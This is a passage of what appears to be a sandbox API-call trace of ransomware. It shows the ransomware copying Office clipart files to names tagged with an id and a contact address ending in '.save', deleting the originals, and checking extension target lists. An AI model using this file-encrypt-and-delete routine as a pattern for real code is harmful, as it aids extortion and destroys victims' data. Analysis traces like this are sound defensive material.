dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.505] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5076) returned 1 [0173.505] CloseHandle (hObject=0x520) returned 1 [0173.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220 [0173.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.506] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.506] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0173.507] GetLastError () returned 0x0 [0173.507] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x13d4, lpOverlapped=0x0) returned 1 [0173.509] WriteFile (in: hFile=0x538, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x13e0, lpOverlapped=0x0) returned 1 [0173.510] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0173.510] WriteFile (in: hFile=0x538, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0173.510] SetEndOfFile (hFile=0x538) returned 1 [0173.510] CloseHandle (hObject=0x538) returned 1 [0173.511] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.511] SetEndOfFile (hFile=0x520) returned 1 [0173.517] CloseHandle (hObject=0x520) returned 1 [0173.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1 [0173.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.518] lstrlenW (lpString=".doc") returned 4 [0173.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.519] lstrlenW (lpString=".docx") returned 5 [0173.519] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0173.519] lstrlenW (lpString=".pdf") returned 4 [0173.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.519] lstrlenW (lpString=".xls") returned 4 [0173.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.519] lstrlenW (lpString=".xlsx") returned 5 [0173.519] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0173.519] lstrlenW (lpString=".ppt") returned 4 [0173.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.519] lstrlenW (lpString=".zip") returned 4 [0173.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.519] lstrlenW (lpString=".rar") returned 4 [0173.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.519] lstrlenW (lpString=".bz2") returned 4 [0173.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.519] lstrlenW (lpString=".7z") returned 3 [0173.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.519] lstrlenW (lpString=".dbf") returned 4 [0173.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.519] lstrlenW (lpString=".1cd") returned 4 [0173.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.519] lstrlenW (lpString=".jpg") returned 4 [0173.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.519] lstrlenW (lpString=".doc") returned 4 [0173.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.520] lstrlenW (lpString=".docx") returned 5 [0173.520] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0173.520] lstrlenW (lpString=".pdf") returned 4 [0173.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.520] lstrlenW (lpString=".xls") returned 4 [0173.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.520] lstrlenW (lpString=".xlsx") returned 5 [0173.520] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0173.520] lstrlenW (lpString=".ppt") returned 4 [0173.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.520] lstrlenW (lpString=".zip") returned 4 [0173.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.520] lstrlenW (lpString=".rar") returned 4 [0173.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.520] lstrlenW (lpString=".bz2") returned 4 [0173.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.520] lstrlenW (lpString=".7z") returned 3 [0173.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.521] lstrlenW (lpString=".dbf") returned 4 [0173.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.521] lstrlenW (lpString=".1cd") returned 4 [0173.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68 [0173.521] lstrlenW (lpString=".jpg") returned 4 [0173.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.521] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.521] lstrlenW (lpString="J0107350.WMF") returned 12 [0173.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.522] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=23672) returned 1 [0173.522] CloseHandle (hObject=0x520) returned 1 [0173.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220 [0173.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.522] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.523] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0173.523] GetLastError () returned 0x0 [0173.523] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x5c78, lpOverlapped=0x0) returned 1 [0173.652] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x5c80, lpOverlapped=0x0) returned 1 [0173.653] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0173.653] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0173.653] SetEndOfFile (hFile=0x518) returned 1 [0173.653] CloseHandle (hObject=0x518) returned 1 [0173.654] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.654] SetEndOfFile (hFile=0x520) returned 1 [0173.657] CloseHandle (hObject=0x520) returned 1 [0173.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 1 [0173.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.663] lstrlenW (lpString=".doc") returned 4 [0173.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.663] lstrlenW (lpString=".docx") returned 5 [0173.663] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.663] lstrlenW (lpString=".pdf") returned 4 [0173.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.663] lstrlenW (lpString=".xls") returned 4 [0173.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.663] lstrlenW (lpString=".xlsx") returned 5 [0173.663] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.663] lstrlenW (lpString=".ppt") returned 4 [0173.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.663] lstrlenW (lpString=".zip") returned 4 [0173.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.663] lstrlenW (lpString=".rar") returned 4 [0173.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.663] lstrlenW (lpString=".bz2") returned 4 [0173.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.663] lstrlenW (lpString=".7z") returned 3 [0173.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.664] lstrlenW (lpString=".dbf") returned 4 [0173.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.664] lstrlenW (lpString=".1cd") returned 4 [0173.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.664] lstrlenW (lpString=".jpg") returned 4 [0173.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.664] lstrlenW (lpString=".doc") returned 4 [0173.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.664] lstrlenW (lpString=".docx") returned 5 [0173.664] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.664] lstrlenW (lpString=".pdf") returned 4 [0173.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.664] lstrlenW (lpString=".xls") returned 4 [0173.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.664] lstrlenW (lpString=".xlsx") returned 5 [0173.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.664] lstrlenW (lpString=".ppt") returned 4 [0173.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.664] lstrlenW (lpString=".zip") returned 4 [0173.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.664] lstrlenW (lpString=".rar") returned 4 [0173.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.664] lstrlenW (lpString=".bz2") returned 4 [0173.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.664] lstrlenW (lpString=".7z") returned 3 [0173.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.665] lstrlenW (lpString=".dbf") returned 4 [0173.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.665] lstrlenW (lpString=".1cd") returned 4 [0173.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF") returned 68 [0173.665] lstrlenW (lpString=".jpg") returned 4 [0173.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.665] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.665] lstrlenW (lpString="J0107450.WMF") returned 12 [0173.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.666] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4920) returned 1 [0173.666] CloseHandle (hObject=0x520) returned 1 [0173.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220 [0173.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.667] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.667] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0173.668] GetLastError () returned 0x0 [0173.668] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1338, lpOverlapped=0x0) returned 1 [0173.669] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1340, lpOverlapped=0x0) returned 1 [0173.670] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0173.671] WriteFile (in: hFile=0x518, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0173.671] SetEndOfFile (hFile=0x518) returned 1 [0173.671] CloseHandle (hObject=0x518) returned 1 [0173.671] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.671] SetEndOfFile (hFile=0x520) returned 1 [0173.674] CloseHandle (hObject=0x520) returned 1 [0173.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0173.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.675] lstrlenW (lpString=".doc") returned 4 [0173.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.675] lstrlenW (lpString=".docx") returned 5 [0173.675] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.675] lstrlenW (lpString=".pdf") returned 4 [0173.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.675] lstrlenW (lpString=".xls") returned 4 [0173.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.675] lstrlenW (lpString=".xlsx") returned 5 [0173.675] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.675] lstrlenW (lpString=".ppt") returned 4 [0173.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.675] lstrlenW (lpString=".zip") returned 4 [0173.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.676] lstrlenW (lpString=".rar") returned 4 [0173.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.676] lstrlenW (lpString=".bz2") returned 4 [0173.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.676] lstrlenW (lpString=".7z") returned 3 [0173.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.676] lstrlenW (lpString=".dbf") returned 4 [0173.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.676] lstrlenW (lpString=".1cd") returned 4 [0173.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.676] lstrlenW (lpString=".jpg") returned 4 [0173.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.676] lstrlenW (lpString=".doc") returned 4 [0173.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.677] lstrlenW (lpString=".docx") returned 5 [0173.677] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0173.677] lstrlenW (lpString=".pdf") returned 4 [0173.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.677] lstrlenW (lpString=".xls") returned 4 [0173.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.677] lstrlenW (lpString=".xlsx") returned 5 [0173.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0173.677] lstrlenW (lpString=".ppt") returned 4 [0173.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.677] lstrlenW (lpString=".zip") returned 4 [0173.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.677] lstrlenW (lpString=".rar") returned 4 [0173.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.677] lstrlenW (lpString=".bz2") returned 4 [0173.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.677] lstrlenW (lpString=".7z") returned 3 [0173.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.677] lstrlenW (lpString=".dbf") returned 4 [0173.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.677] lstrlenW (lpString=".1cd") returned 4 [0173.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0173.677] lstrlenW (lpString=".jpg") returned 4 [0173.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.678] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.678] lstrlenW (lpString="J0107452.WMF") returned 12 [0173.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.679] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=21216) returned 1 [0173.679] CloseHandle (hObject=0x520) returned 1 [0173.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220 [0173.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft 